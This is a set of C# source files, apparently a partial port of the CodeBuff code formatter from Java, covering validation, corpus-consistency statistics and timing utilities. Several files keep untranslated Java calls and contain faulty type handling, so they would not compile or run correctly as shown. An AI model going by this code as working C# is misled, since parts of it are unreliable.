System.out.println(output); float editDistance = Dbg.normalizedLevenshteinDistance(testDoc.content, output); Log.WriteLine(fileName + "+corpus edit distance " + editDistance); corpusEditDistances.Add(editDistance); } // heh this gives info on within-corpus variability. i.e., how good/consistent is my corpus? // those files with big difference are candidates for dropping from corpus or for cleanup. IList<string> labels = BuffUtils.map(filenames, f => '"' + System.IO.Path.GetFileName(f) + '"'); string python = "#\n" + "# AUTO-GENERATED FILE. DO NOT EDIT\n" + "# CodeBuff <version> '<date>'\n" + "#\n" + "import numpy as np\n" + "import matplotlib.pyplot as plt\n\n" + "fig = plt.figure()\n" + "ax = plt.subplot(111)\n" + "labels = <labels>\n" + "N = len(labels)\n\n" + "featureIndexes = range(0,N)\n" + "<lang>_self = <selfEditDistances>\n" + "<lang>_corpus = <corpusEditDistances>\n" + "<lang>_diff = np.abs(np.subtract(<lang>_self, <lang>_corpus))\n\n" + "all = zip(<lang>_self, <lang>_corpus, <lang>_diff, labels)\n" + "all = sorted(all, key=lambda x : x[2], reverse=True)\n" + "<lang>_self, <lang>_corpus, <lang>_diff, labels = zip(*all)\n\n" + "ax.plot(featureIndexes, <lang>_self, label=\"<lang>_self\")\n" + "#ax.plot(featureIndexes, <lang>_corpus, label=\"<lang>_corpus\")\n" + "ax.plot(featureIndexes, <lang>_diff, label=\"<lang>_diff\")\n" + "ax.set_xticklabels(labels, rotation=60, fontsize=8)\n" + "plt.xticks(featureIndexes, labels, rotation=60)\n" + "ax.yaxis.grid(True, linestyle='-', which='major', color='lightgrey', alpha=0.5)\n\n" + "ax.text(1, .25, 'median $f$ self distance = %5.3f, corpus+$f$ distance = %5.3f' %" + " (np.median(<lang>_self),np.median(<lang>_corpus)))\n" + "ax.set_xlabel(\"File Name\")\n" + "ax.set_ylabel(\"Edit Distance\")\n" + "ax.set_title(\"Difference between Formatting File <lang> $f$\\nwith Training=$f$ and Training=$f$+Corpus\")\n" + "plt.legend()\n" + "plt.tight_layout()\n" + "fig.savefig(\"images/" + language.name + "_one_file_capture.pdf\", format='pdf')\n" + "plt.show()\n"; ST pythonST = new ST(python); pythonST.add("lang", language.name); pythonST.add("version", version); pythonST.add("date", DateTime.Now); pythonST.add("labels", labels.ToString()); pythonST.add("selfEditDistances", selfEditDistances.ToString()); pythonST.add("corpusEditDistances", corpusEditDistances.ToString()); string code = pythonST.render(); { string fileName = "python/src/" + language.name + "_one_file_capture.py"; org.antlr.codebuff.misc.Utils.writeFile(fileName, code); Log.WriteLine("wrote python code to " + fileName); } } } } }<file_sep>using System; using System.Collections.Generic; using Antlr4.Runtime.Misc; namespace org.antlr.codebuff.walkers { using CodeBuffTokenStream = org.antlr.codebuff.misc.CodeBuffTokenStream; using ParentSiblingListKey = org.antlr.codebuff.misc.ParentSiblingListKey; using SiblingListStats = org.antlr.codebuff.misc.SiblingListStats; using ParserRuleContext = Antlr4.Runtime.ParserRuleContext; using Token = Antlr4.Runtime.IToken; //using Pair = org.antlr.v4.runtime.misc.Pair; using TerminalNode = Antlr4.Runtime.Tree.ITerminalNode; /// <summary> /// [USED IN FORMATTING ONLY] /// Walk tree and find and fill tokenToListInfo with all oversize lists with separators. /// </summary> public class IdentifyOversizeLists : VisitSiblingLists { internal Corpus corpus; internal CodeBuffTokenStream tokens; /// <summary> /// Map token to ("is oversize", element type). Used to compute feature vector. </summary> public IDictionary<Token, org.antlr.codebuff.misc.Pair<bool, int>> tokenToListInfo = new Dictionary<Token, org.antlr.codebuff.misc.Pair<bool, int>>(); public IDictionary<Token, TerminalNode> tokenToNodeMap; public IdentifyOversizeLists(Corpus corpus, CodeBuffTokenStream tokens, IDictionary<Token, TerminalNode> tokenToNodeMap) { this.corpus = corpus; this.tokens = tokens; this.tokenToNodeMap = tokenToNodeMap; } public override void visitNonSingletonWithSeparator<T1>(ParserRuleContext ctx, IList<T1> siblings, Token separator) //where T1 : Antlr4.Runtime.ParserRuleContext { bool oversize = isOversizeList(ctx, siblings, separator); IDictionary<Token, org.antlr.codebuff.misc.Pair<bool, int>> tokenInfo = getInfoAboutListTokens(ctx, tokens, tokenToNodeMap, siblings, oversize); // copy sibling list info for associated tokens into overall list // but don't overwrite existing so that most general (largest construct) // list information is use/retained (i.e., not overwritten). foreach (Token t in tokenInfo.Keys) { if (!tokenToListInfo.ContainsKey(t)) { tokenToListInfo[t] = tokenInfo[t]; } } } /// <summary> /// Return true if we've only seen parent-sibling-separator combo as a split list. /// Return true if we've seen that combo as both list and split list AND /// len of all siblings is closer to split median than to regular nonsplit median. /// </summary> public virtual bool isOversizeList<T1>(ParserRuleContext ctx, IList<T1> siblings, Token separator) where T1 : Antlr4.Runtime.ParserRuleContext { ParserRuleContext first = siblings[0] as ParserRuleContext; ParentSiblingListKey pair = new ParentSiblingListKey(ctx, first, separator.Type); SiblingListStats stats = null; corpus.rootAndChildListStats.TryGetValue(pair, out stats); SiblingListStats splitStats = null; corpus.rootAndSplitChildListStats.TryGetValue(pair, out splitStats); bool oversize = stats == null && splitStats != null; if (stats != null && splitStats == null) { // note: if we've never seen a split version of this ctx, do nothing; // I used to have oversize failsafe } int len = Trainer.getSiblingsLength(siblings); if (stats != null && splitStats != null) { // compare distance in units of standard deviations to regular or split means // like a one-dimensional Mahalanobis distance. // actually i took out the stddev divisor. they are usually very spread out and overlapping. double distToSplit = Math.Abs(splitStats.median - len); double distToSplitSquared = Math.Pow(distToSplit,2); double distToSplitStddevUnits = distToSplitSquared / Math.Sqrt(splitStats.variance); double distToRegular = Math.Abs(stats.median - len); double distToRegularSquared = Math.Pow(distToRegular,2); double distToRegularStddevUnits = distToRegularSquared / Math.Sqrt(stats.variance); // consider a priori probabilities as well. float n = splitStats.numSamples + stats.numSamples; float probSplit = splitStats.numSamples / n; float probRegular = stats.numSamples / n; double adjDistToSplit = distToSplitSquared * (1 - probSplit); // make distance smaller if probSplit is high double adjDistToRegular = distToRegularSquared * (1 - probRegular); if (adjDistToSplit < adjDistToRegular) { oversize = true; } } return oversize; } } }<file_sep>using System; using System.Collections; using System.Collections.Generic; using Antlr4.Runtime; using System.Linq; namespace org.antlr.codebuff.misc { using ParserRuleContext = ParserRuleContext; using ParseTree = Antlr4.Runtime.Tree.IParseTree; public class BuffUtils { public static int indexOf(ParserRuleContext parent, ParseTree child) { for (int i = 0; i < parent.ChildCount; i++) { if (parent.GetChild(i) == child) { return i; } } return -1; } // Generic filtering, mapping, joining that should be in the standard library but aren't public static T findFirst<T>(IList<T> data, System.Func<T, bool> pred) where T: class { if (data != null) { foreach (T x in data) { if (pred(x)) { return x; } } } return null; } public static IList<T> filter<T>(IList<T> data, System.Func<T, bool> pred) { IList<T> output = new List<T>(); if (data != null) { foreach (T x in data) { if (pred(x)) { output.Add(x); } } } return output; } public static IList<T> filter<T>(ICollection<T> data, System.Func<T, bool> pred) { IList<T> output = new List<T>(); foreach (T x in data) { if (pred(x)) { output.Add(x); } } return output; } public static IList<R> map<T, R>(ICollection<T> data, System.Func<T, R> getter) { IList<R> output = new List<R>(); if (data != null) { foreach (T x in data) { output.Add(getter(x)); } } return output; } public static IList<R> map<T, R>(T[] data, System.Func<T, R> getter) { IList<R> output = new List<R>(); if (data != null) { foreach (T x in data) { output.Add(getter(x)); } } return output; } public static double variance(IList<int> data) { int n = data.Count; double sum = 0; double avg = /* sumDoubles(data) */ data.Sum() / ((double) n); foreach (int d in data) { sum += (d - avg) * (d - avg); } return sum / n; } public static double varianceFloats(IList<float> data) { int n = data.Count; double sum = 0; double avg = data.Sum() / ((double) n); foreach (float d in data) { sum += (d - avg) * (d - avg); } return sum / n; } public static int sum(ICollection<int> data) { int sum = 0; foreach (int d in data) { sum += d; } return sum; } public static float sumFloats(ICollection<float> data) { float sum = 0; foreach (float d in data) { sum += d; } return sum; } public static float sumDoubles(ICollection<double> data) { float sum = 0; foreach (double d in data) { sum += (float)d; } return sum; } public static IList<double> diffFloats(IList<float> a, IList<float> b) { IList<double> diffs = new List<double>(); for (int i = 0; i < a.Count; i++) { diffs.Add((double) a[i] - b[i]); } return diffs; } public static T median<T>(IList<T> data) { List<double> l = data as List<double>; l.Sort(); // IN-PLACE SORT!!! int n = data.Count; return data[n / 2]; } public static double max(IList<double> data) { List<double> l = data as List<double>; l.Sort(); // IN-PLACE SORT!!! int n = data.Count; return data[n - 1]; } public static double min(IList<double> data) { List<double> l = data as List<double>; l.Sort(); // IN-PLACE SORT!!! int n = data.Count; return data[0]; } public static double mean(ICollection<double> data) { double sum = 0.0; foreach (double d in data) { sum += d; } return sum / data.Count; } } }<file_sep>using System; using System.Collections.Generic; namespace org.antlr.codebuff.validation { public class ClassificationAnalysis { public int n_ws_decisions = 0; // should be number of real tokens - 2 (we don't process 1st token or EOF) public int n_actual_none = 0; public int n_actual_nl = 0; public int n_actual_sp = 0; public int n_actual_align = 0; public int n_actual_align_child = 0; public int n_actual_indent_child = 0; public int n_actual_indent = 0; public int n_align_decisions = 0; public int n_ws_errors; public int n_align_errors; public int correct_none = 0; public int correct_nl = 0; public int correct_sp = 0; public int correct_align = 0; public int correct_align_child = 0; public int correct_indent_child = 0; public int correct_indent = 0; public InputDocument testDoc; public IList<TokenPositionAnalysis> analysisPerToken; public ClassificationAnalysis(InputDocument testDoc, IList<TokenPositionAnalysis> analysisPerToken) { this.analysisPerToken = analysisPerToken; this.testDoc = testDoc; computeAccuracy(); } public virtual void computeAccuracy() { foreach (TokenPositionAnalysis a in analysisPerToken) { if (a == null) { continue; } n_ws_decisions++; // count actual predictions bool actual_ws_none = a.actualWS == 0; bool actual_nl = (a.actualWS & 0xFF) == Trainer.CAT_INJECT_NL; bool actual_ws = (a.actualWS & 0xFF) == Trainer.CAT_INJECT_WS; if (actual_ws_none) { n_actual_none++; } else if (actual_nl) { n_actual_nl++; } else if (actual_ws) { n_actual_sp++; } bool predict_ws_none = (a.wsPrediction & 0xFF) == Trainer.CAT_NO_WS; bool predict_nl = (a.wsPrediction & 0xFF) == Trainer.CAT_INJECT_NL; bool predict_sp = (a.wsPrediction & 0xFF) == Trainer.CAT_INJECT_WS; if (predict_ws_none && actual_ws_none) { correct_none++; } else if (predict_nl && a.wsPrediction == a.actualWS) { correct_nl++; } else if (predict_sp && a.wsPrediction == a.actualWS) { correct_sp++; } else { n_ws_errors++; } bool actual_align = (a.actualAlign & 0xFF) == Trainer.CAT_ALIGN; bool actual_align_child = (a.actualAlign & 0xFF) == Trainer.CAT_ALIGN_WITH_ANCESTOR_CHILD; bool actual_indent_child = (a.actualAlign & 0xFF) == Trainer.CAT_INDENT_FROM_ANCESTOR_CHILD; bool actual_indent = (a.actualAlign & 0xFF) == Trainer.CAT_INDENT; bool predict_align = (a.alignPrediction & 0xFF) == Trainer.CAT_ALIGN; bool predict_align_child = (a.alignPrediction & 0xFF) == Trainer.CAT_ALIGN_WITH_ANCESTOR_CHILD; bool predict_indent_child = (a.alignPrediction & 0xFF) == Trainer.CAT_INDENT_FROM_ANCESTOR_CHILD; bool predict_indent = (a.alignPrediction & 0xFF) == Trainer.CAT_INDENT; // if we predicted newline *and* actual was newline, check alignment misclassifications if (predict_nl && actual_nl) { if (actual_align_child) { n_actual_align_child++; } else if (actual_indent_child) { n_actual_indent_child++; } else if (actual_indent) { n_actual_indent++; } else if (actual_align) { n_actual_align++; } // Can't compare align/indent if both aren't supposed to align. // If we predict '\n' but actual is ' ', alignment will always fail // to match. Similarly, if we predict no-'\n' but actual is '\n', // we didn't compute align so can't compare. n_align_decisions++; if (predict_align && actual_align) { correct_align++; } else if (predict_align_child && a.alignPrediction == a.actualAlign) { correct_align_child++; } else if (predict_indent_child && a.alignPrediction == a.actualAlign) { correct_indent_child++; } else if (predict_indent && a.alignPrediction == a.actualAlign) { correct_indent++; } else { n_align_errors++; } } } } public override string ToString() { float none_accuracy = correct_none / (float) n_actual_none; float nl_accuracy = correct_nl / (float) n_actual_nl; float sp_accuracy = correct_sp / (float) n_actual_sp; double overall_ws_accuracy = (correct_none + correct_nl + correct_sp) / (float)(n_actual_none + n_actual_nl + n_actual_sp); float align_none_accuracy = correct_align / (float) n_actual_align; float align_child_accuracy = correct_align_child / (float) n_actual_align_child; float indent_child_accuracy = correct_indent_child / (float) n_actual_indent_child; float indent_accuracy = correct_indent / (float) n_actual_indent; float overall_align_accuracy = (correct_align_child + correct_indent_child + correct_indent) / (float) n_align_decisions; string s = "%5d tokens\n" + "%5d ws decisions (should differ from tokens by 2)\n" + "%5d alignment decisions\n" + "\n" + "no ws %4d/%4d = %5.2f%%\n" + "nl %4d/%4d = %5.2f%%\n" + "sp %4d/%4d = %5.2f%%\n" + "overall ws %4d/%4d = %5.2f%%\n" + "ws errors %4d/%4d\n" + "\n" + "align %4d/%4d = %5.2f%%\n" + "align ^ child %4d/%4d = %5.2f%%\n" + "indent ^ child %4d/%4d = %5.2f%%\n" + "indent %4d/%4d = %5.2f%%\n" + "overall align %5.2f%%\n" + "align errors %4d/%4d\n" + "\n" + "overall error %4d/%4d = %5.2f%%\n"; return String.Format(s, testDoc.tokens.RealTokens.Count, n_ws_decisions, n_align_decisions, correct_none, n_actual_none, none_accuracy * 100, correct_nl, n_actual_nl, nl_accuracy * 100, correct_sp, n_actual_sp, sp_accuracy * 100, (correct_none + correct_nl + correct_sp), (n_actual_none + n_actual_nl + n_actual_sp), overall_ws_accuracy * 100, n_ws_errors, n_ws_decisions, correct_align, n_actual_align, align_none_accuracy * 100, correct_align_child, n_actual_align_child, align_child_accuracy * 100, correct_indent_child, n_actual_indent_child, indent_child_accuracy * 100, correct_indent, n_actual_indent, indent_accuracy * 100, overall_align_accuracy * 100, n_align_errors, n_align_decisions, n_ws_errors + n_align_errors, n_ws_decisions + n_align_decisions, ErrorRate * 100.0); } public virtual float ErrorRate { get { return ((float)n_ws_errors + n_align_errors) / (n_ws_decisions + n_align_decisions); } } public virtual float WSErrorRate { get { return ((float)n_ws_errors) / n_ws_decisions; } } public virtual float AlignmentErrorRate { get { return ((float)n_align_errors) / n_align_decisions; } } } }<file_sep>namespace org.antlr.codebuff.validation { using LangDescriptor = org.antlr.codebuff.misc.LangDescriptor; public class FormatUsingLeaveOneOut : LeaveOneOutValidator { public FormatUsingLeaveOneOut(string rootDir, LangDescriptor language) : base(rootDir, language) { } public static void Main(string[] args) { LangDescriptor[] languages = new LangDescriptor[] {QUORUM_DESCR, JAVA_DESCR, JAVA8_DESCR, JAVA_GUAVA_DESCR, ANTLR4_DESCR, SQLITE_CLEAN_DESCR, TSQL_CLEAN_DESCR}; // walk and generator output but no edit distance for (int i = 0; i < languages.Length; i++) { LangDescriptor language = languages[i]; LeaveOneOutValidator validator = new LeaveOneOutValidator(language.corpusDir, language); validator.validateDocuments(false, "output"); } } } }<file_sep>namespace org.antlr.codebuff.misc { using MurmurHash = Antlr4.Runtime.Misc.MurmurHash; public class RuleAltKey { public string ruleName; public int altNum; public RuleAltKey(string ruleName, int altNum) { this.altNum = altNum; this.ruleName = ruleName; } public override bool Equals(object obj) { if (obj == this) { return true; } else if (!(obj is RuleAltKey)) { return false; } RuleAltKey other = (RuleAltKey)obj; return ruleName.Equals(other.ruleName) && altNum == other.altNum; } public override int GetHashCode() { int hash = org.antlr.codebuff.misc.MurmurHash.Initialize(); hash = org.antlr.codebuff.misc.MurmurHash.Update(hash, ruleName); hash = org.antlr.codebuff.misc.MurmurHash.Update(hash, altNum); return org.antlr.codebuff.misc.MurmurHash.Finish(hash, 2); } public override string ToString() { return string.Format("{0}:{1:D}", ruleName, altNum); } } }<file_sep>namespace org.antlr.codebuff.validation { public class DropWSFeaturesFromAll : DropWSFeatures { public static void Main(string[] args) { testFeatures(Tool.languages, true); } } }<file_sep>using System; using System.Collections; using System.Collections.Generic; using Antlr4.Runtime.Misc; using org.antlr.codebuff.misc; namespace org.antlr.codebuff.validation { using BuffUtils = org.antlr.codebuff.misc.BuffUtils; using LangDescriptor = org.antlr.codebuff.misc.LangDescriptor; public class CorpusConsistency { public static void Main(string[] args) { bool report = false; if (args.Length > 0 && args[0].Equals("-report")) { report = true; } foreach (LangDescriptor language in Tool.languages) { computeConsistency(language, report); } } public static void computeConsistency(LangDescriptor language, bool report) { if (report) { Log.WriteLine("-----------------------------------"); Log.WriteLine(language.name); Log.WriteLine("-----------------------------------"); } Corpus corpus = new Corpus(language.corpusDir, language); corpus.train(); // a map of feature vector to list of exemplar indexes of that feature MyMultiMap<FeatureVectorAsObject, int> wsContextToIndex = new MyMultiMap<FeatureVectorAsObject, int>(); MyMultiMap<FeatureVectorAsObject, int> hposContextToIndex = new MyMultiMap<FeatureVectorAsObject, int>(); int n = corpus.featureVectors.Count; for (int i = 0; i < n; i++) { int[] features = corpus.featureVectors[i]; wsContextToIndex.Map(new FeatureVectorAsObject(features, Trainer.FEATURES_INJECT_WS), i); hposContextToIndex.Map(new FeatureVectorAsObject(features, Trainer.FEATURES_HPOS), i); } int num_ambiguous_ws_vectors = 0; int num_ambiguous_hpos_vectors = 0; // Dump output grouped by ws vs hpos then feature vector then category if (report) { Log.WriteLine(" --- INJECT WS ---"); } IList<double> ws_entropies = new List<double>(); foreach (FeatureVectorAsObject fo in wsContextToIndex.Keys) { var exemplarIndexes = wsContextToIndex[fo]; // we have group by feature vector, now group by cat with that set for ws MyMultiMap<int, int> wsCatToIndexes = new MyMultiMap<int, int>(); foreach (int i in exemplarIndexes) { wsCatToIndexes.Map(corpus.injectWhitespace[i], i); } if (wsCatToIndexes.Count == 1) { continue; } if (report) { Log.WriteLine("Feature vector has " + exemplarIndexes.size() + " exemplars"); } IList<int> catCounts = BuffUtils.map(wsCatToIndexes.Values, (x)=> x.size()); double wsEntropy = Entropy.getNormalizedCategoryEntropy(Entropy.getCategoryRatios(catCounts)); if (report) { Log.Write("entropy={0,5:F4}\n", wsEntropy); } wsEntropy *= exemplarIndexes.size(); ws_entropies.Add(wsEntropy); num_ambiguous_ws_vectors += exemplarIndexes.size(); if (report) { Log.Write(Trainer.featureNameHeader(Trainer.FEATURES_INJECT_WS)); } if (report) { foreach (int cat in wsCatToIndexes.Keys) { var indexes = wsCatToIndexes[cat]; foreach (int i in indexes) { string display = getExemplarDisplay(Trainer.FEATURES_INJECT_WS, corpus, corpus.injectWhitespace, i); Log.WriteLine(display); } Log.WriteLine(); } } } if (report) { Log.WriteLine(" --- HPOS ---"); } IList<double> hpos_entropies = new List<double>(); foreach (FeatureVectorAsObject fo in hposContextToIndex.Keys) { MyHashSet<int> exemplarIndexes = hposContextToIndex[fo]; // we have group by feature vector, now group by cat with that set for hpos MyMultiMap<int, int> hposCatToIndexes = new MyMultiMap<int, int>(); foreach (int i in exemplarIndexes) { hposCatToIndexes.Map(corpus.hpos[i], i); } if (hposCatToIndexes.Count == 1) { continue; } if (report) { Log.WriteLine("Feature vector has " + exemplarIndexes.size() + " exemplars"); } IList<int> catCounts = BuffUtils.map(hposCatToIndexes.Values, (x) => x.size()); double hposEntropy = Entropy.getNormalizedCategoryEntropy(Entropy.getCategoryRatios(catCounts)); if (report) { Log.Write("entropy={0,5:F4}\n", hposEntropy); } hposEntropy *= exemplarIndexes.size(); hpos_entropies.Add(hposEntropy); num_ambiguous_hpos_vectors += exemplarIndexes.size(); if (report) { Log.Write(Trainer.featureNameHeader(Trainer.FEATURES_HPOS)); } if (report) { foreach (int cat in hposCatToIndexes.Keys) { var indexes = hposCatToIndexes[cat]; foreach (int? i in indexes) { string display = getExemplarDisplay(Trainer.FEATURES_HPOS, corpus, corpus.hpos, i.Value); Log.WriteLine(display); } Log.WriteLine(); } } } Log.WriteLine(); Log.WriteLine(language.name); Log.WriteLine("There are " + wsContextToIndex.Count + " unique ws feature vectors out of " + n + " = " + string.Format("{0,3:F1}%",100.0 * wsContextToIndex.Count / n)); Log.WriteLine("There are " + hposContextToIndex.Count + " unique hpos feature vectors out of " + n + " = " + string.Format("{0,3:F1}%",100.0 * hposContextToIndex.Count / n)); float prob_ws_ambiguous = num_ambiguous_ws_vectors / (float) n; Log.Write("num_ambiguous_ws_vectors = {0,5:D}/{1,5:D} = {2,5:F3}\n", num_ambiguous_ws_vectors, n, prob_ws_ambiguous); float prob_hpos_ambiguous = num_ambiguous_hpos_vectors / (float) n; Log.Write("num_ambiguous_hpos_vectors = {0,5:D}/{1,5:D} = {2,5:F3}\n", num_ambiguous_hpos_vectors, n, prob_hpos_ambiguous); // Collections.sort(ws_entropies); // System.out.println("ws_entropies="+ws_entropies); Log.WriteLine("ws median,mean = " + BuffUtils.median(ws_entropies) + "," + BuffUtils.mean(ws_entropies)); double expected_ws_entropy = (BuffUtils.sumDoubles(ws_entropies) / num_ambiguous_ws_vectors) * prob_ws_ambiguous; Log.WriteLine("expected_ws_entropy=" + expected_ws_entropy); Log.WriteLine("hpos median,mean = " + BuffUtils.median(hpos_entropies) + "," + BuffUtils.mean(hpos_entropies)); double expected_hpos_entropy = (BuffUtils.sumDoubles(hpos_entropies) / num_ambiguous_hpos_vectors) * prob_hpos_ambiguous; Log.WriteLine("expected_hpos_entropy=" + expected_hpos_entropy); } public static string getExemplarDisplay(FeatureMetaData[] FEATURES, Corpus corpus, IList<int> Y, int corpusVectorIndex) { int[] X = corpus.featureVectors[corpusVectorIndex]; InputDocument doc = corpus.documentsPerExemplar[corpusVectorIndex]; string features = Trainer._toString(FEATURES, doc, X); int line = X[Trainer.INDEX_INFO_LINE]; string lineText = doc.getLine(line); int col = X[Trainer.INDEX_INFO_CHARPOS]; // insert a dot right before char position if (!string.ReferenceEquals(lineText, null)) { lineText = lineText.Substring(0, col) + '\u00B7' + lineText.Substring(col, lineText.Length - col); } int cat = Y[corpusVectorIndex]; string displayCat; if ((cat & 0xFF) == Trainer.CAT_INJECT_WS || (cat & 0xFF) == Trainer.CAT_INJECT_NL) { displayCat = Formatter.getWSCategoryStr(cat); } else { displayCat = Formatter.getHPosCategoryStr(cat); } return string.Format("{0} {1,9} {2}", features, displayCat, lineText); } } }<file_sep>using System; using System.Diagnostics; using System.Collections.Generic; using Antlr4.Runtime.Misc; namespace org.antlr.codebuff.validation { using BuffUtils = org.antlr.codebuff.misc.BuffUtils; using LangDescriptor = org.antlr.codebuff.misc.LangDescriptor; //using Pair = Antlr4.Runtime.Misc.Pair; /// <summary> /// Test the speed of loading (parsing), training on corpus - doc, and formatting one doc. /// /// Sample runs: /// /// -antlr corpus/antlr4/training/Java8.g4 /// -java_guava corpus/java/training/guava/cache/LocalCache.java /// -java8_guava corpus/java/training/guava/cache/LocalCache.java /// </summary> public class Speed { public const int TRIALS = 20; public static void Main(string[] args) { string langname = args[0].Substring(1); string testFilename = args[1]; LangDescriptor language = null; for (int i = 0; i < languages.length; i++) { if (languages[i].name.Equals(langname)) { language = languages[i]; break; } } if (language == null) { Log.WriteLine("Language " + langname + " unknown"); return; } // load all files up front DateTime load_start = System.DateTime.Now; IList<string> allFiles = Tool.getFilenames(language.corpusDir, language.fileRegex); IList<InputDocument> documents = Tool.load(allFiles, language); DateTime load_stop = System.DateTime.Now; DateTime load_time = (load_stop - load_start) / 1000000; Log.Write("Loaded {0:D} files in {1:D}ms\n", documents.Count, load_time); string path = System.IO.Path.GetFullPath(testFilename); IList<InputDocument> others = BuffUtils.filter(documents, d => !d.fileName.Equals(path)); IList<InputDocument> excluded = BuffUtils.filter(documents, d => d.fileName.Equals(path)); Debug.Assert(others.Count == documents.Count - 1); if (excluded.Count == 0) { Log.WriteLine("Doc not in corpus: " + path); return; } InputDocument testDoc = excluded[0]; IList<int> training = new List<int>(); IList<int> formatting = new List<int>(); for (int i = 1; i <= TRIALS; i++) { org.antlr.codebuff.misc.Pair<int, int> timing = test(language, others, testDoc); training.Add(timing.a); formatting.Add(timing.b); } // drop first four training = training.subList(5,training.Count); formatting = formatting.subList(5,formatting.Count); Log.Write("median of [5:{0:D}] training {1:D}ms\n", TRIALS - 1, BuffUtils.median(training)); Log.Write("median of [5:{0:D}] formatting {1:D}ms\n", TRIALS - 1, BuffUtils.median(formatting)); } public static org.antlr.codebuff.misc.Pair<int, int> test(LangDescriptor language, IList<InputDocument> others, InputDocument testDoc) { var train_start = System.DateTime.Now; Corpus corpus = new Corpus(others, language); corpus.train(); var train_stop = System.DateTime.Now; var format_start = System.DateTime.Now; Formatter formatter = new Formatter(corpus, language.indentSize, Formatter.DEFAULT_K, FEATURES_INJECT_WS, FEATURES_HPOS); formatter.format(testDoc, false); var format_stop = System.DateTime.Now; var train_time = (train_stop - train_start) / 1000000; var format_time = (format_stop - format_start) / 1000000; Log.Write("{0} training of {1} = {2:D}ms formatting = {3:D}ms\n", language.name, testDoc.fileName, train_time, format_time); return new org.antlr.codebuff.misc.Pair<int, int>((int)train_time, (int)format_time); } } }<file_sep>using System; using System.Collections.Generic; using System.Text; namespace org.antlr.codebuff.validation { using misc; using BuffUtils = org.antlr.codebuff.misc.BuffUtils; using LangDescriptor = org.antlr.codebuff.misc.LangDescriptor; //using Triple = Antlr4.Runtime.Misc.Triple; using Utils = Antlr4.Runtime.Misc.Utils; public class TestK : LeaveOneOutValidator { public new const bool FORCE_SINGLE_THREADED = false; public readonly int k; public TestK(string rootDir, LangDescriptor language, int k) : base(rootDir, language) { this.k = k; } public static void Main(string[] args) { LangDescriptor[] languages = new LangDescriptor[] {Tool.ANTLR4_DESCR}; int MAX_K = 98; // should be odd int OUTLIER_K = 99; IList<int?> ks = new List<int?>(); for (int i = 1; i <= MAX_K; i += 2) { ks.Add(i); } ks.Add(OUTLIER_K); // track medians[language][k] float[][] medians = new float[languages.Length + 1][]; int ncpu = 1; if (FORCE_SINGLE_THREADED) { ncpu = 2; } ExecutorService pool = Executors.newFixedThreadPool(ncpu - 1); IList<Callable<Void>> jobs = new List<Callable<Void>>(); for (int i = 0; i < languages.Length; i++) { //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': //ORIGINAL LINE: final org.antlr.codebuff.misc.LangDescriptor language = languages[i]; LangDescriptor language = languages[i]; //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': //ORIGINAL LINE: final int langIndex = i; int langIndex = i; Log.WriteLine(language.name); foreach (int k in ks) { medians[langIndex] = new float?[OUTLIER_K + 1]; Callable<Void> job = () => { try { TestK tester = new TestK(language.corpusDir, language, k); IList<float?> errorRates = tester.scoreDocuments(); errorRates.Sort(); int n = errorRates.Count; float median = errorRates[n / 2].Value; // double var = BuffUtils.varianceFloats(errorRates); // String display = String.format("%5.4f, %5.4f, %5.4f, %5.4f, %5.4f", min, quart, median, quart3, max); medians[langIndex][k] = median; } catch (Exception t) { t.printStackTrace(System.err); } return null; }; jobs.Add(job); } } pool.invokeAll(jobs); pool.shutdown(); bool terminated = pool.awaitTermination(60, TimeUnit.MINUTES); writePython(languages, ks, medians); } public static void writePython(LangDescriptor[] languages, IList<int?> ks, float[][] medians) { StringBuilder data = new StringBuilder(); StringBuilder plot = new StringBuilder(); for (int i = 0; i < languages.Length; i++) { LangDescriptor language = languages[i]; IList<float?> filteredMedians = BuffUtils.filter(Arrays.asList(medians[i]), m => m != null); data.Append(language.name + '=' + filteredMedians + '\n'); plot.Append(string.Format("ax.plot(ks, {0}, label=\"{1}\", marker='{2}', color='{3}')\n", language.name, language.name, nameToGraphMarker.get(language.name), nameToGraphColor.get(language.name))); } string python = "#\n" + "# AUTO-GENERATED FILE. DO NOT EDIT\n" + "# CodeBuff %s '%s'\n" + "#\n" + "import numpy as np\n" + "import matplotlib.pyplot as plt\n\n" + "%s\n" + "ks = %s\n" + "fig = plt.figure()\n" + "ax = plt.subplot(111)\n" + "%s" + "ax.tick_params(axis='both', which='major', labelsize=18)\n" + "ax.set_xlabel(\"$k$ nearest neighbors\", fontsize=20)\n" + "ax.set_ylabel(\"Median error rate\", fontsize=20)\n" + "#ax.set_title(\"k Nearest Neighbors vs\\nLeave-one-out Validation Error Rate\")\n" + "plt.legend(fontsize=18)\n\n" + "fig.savefig('images/vary_k.pdf', format='pdf')\n" + "plt.show()\n"; string code = string.format(python, Tool.version, DateTime.Now, data, ks, plot); string fileName = "python/src/vary_k.py"; org.antlr.codebuff.misc.Utils.writeFile(fileName, code); Log.WriteLine("wrote python code to " + fileName); } /// <summary> /// Return error rate for each document using leave-one-out validation </summary> public virtual IList<float?> scoreDocuments() { IList<string> allFiles = Tool.getFilenames(rootDir, language.fileRegex); IList<InputDocument> documents = Tool.load(allFiles, language); IList<float?> errors = new List<float?>(); for (int i = 0; i < documents.Count; i++) { Triple<Formatter, float, float> results = validate(language, documents, documents[i].fileName, k, null, false, false); float? errorRate = results.c; errors.Add(errorRate); } return errors; } } }<file_sep>using System; using System.Collections; using System.Collections.Generic; using System.Linq; using System.Text; using System.Text.RegularExpressions; using Antlr4.Runtime; using Antlr4.Runtime.Misc; using org.antlr.codebuff.misc; namespace org.antlr.codebuff { using CodeBuffTokenStream = org.antlr.codebuff.misc.CodeBuffTokenStream; using RuleAltKey = org.antlr.codebuff.misc.RuleAltKey; using CollectTokenPairs = org.antlr.codebuff.walkers.CollectTokenPairs; using CommonTokenStream = Antlr4.Runtime.CommonTokenStream; using Lexer = Antlr4.Runtime.Lexer; using ParserRuleContext = Antlr4.Runtime.ParserRuleContext; using Token = Antlr4.Runtime.IToken; using Vocabulary = Antlr4.Runtime.Vocabulary; using ATN = Antlr4.Runtime.Atn.ATN; //using Pair = Antlr4.Runtime.Misc.Pair<,>; using ErrorNode = Antlr4.Runtime.Tree.IErrorNode; using ParseTree = Antlr4.Runtime.Tree.IParseTree; using ParseTreeListener = Antlr4.Runtime.Tree.IParseTreeListener; using ParseTreeWalker = Antlr4.Runtime.Tree.ParseTreeWalker; using TerminalNode = Antlr4.Runtime.Tree.ITerminalNode; /// <summary> /// Collect feature vectors trained on a single file. /// /// The primary results are: (X, Y1, Y2) /// For each feature vector, features[i], 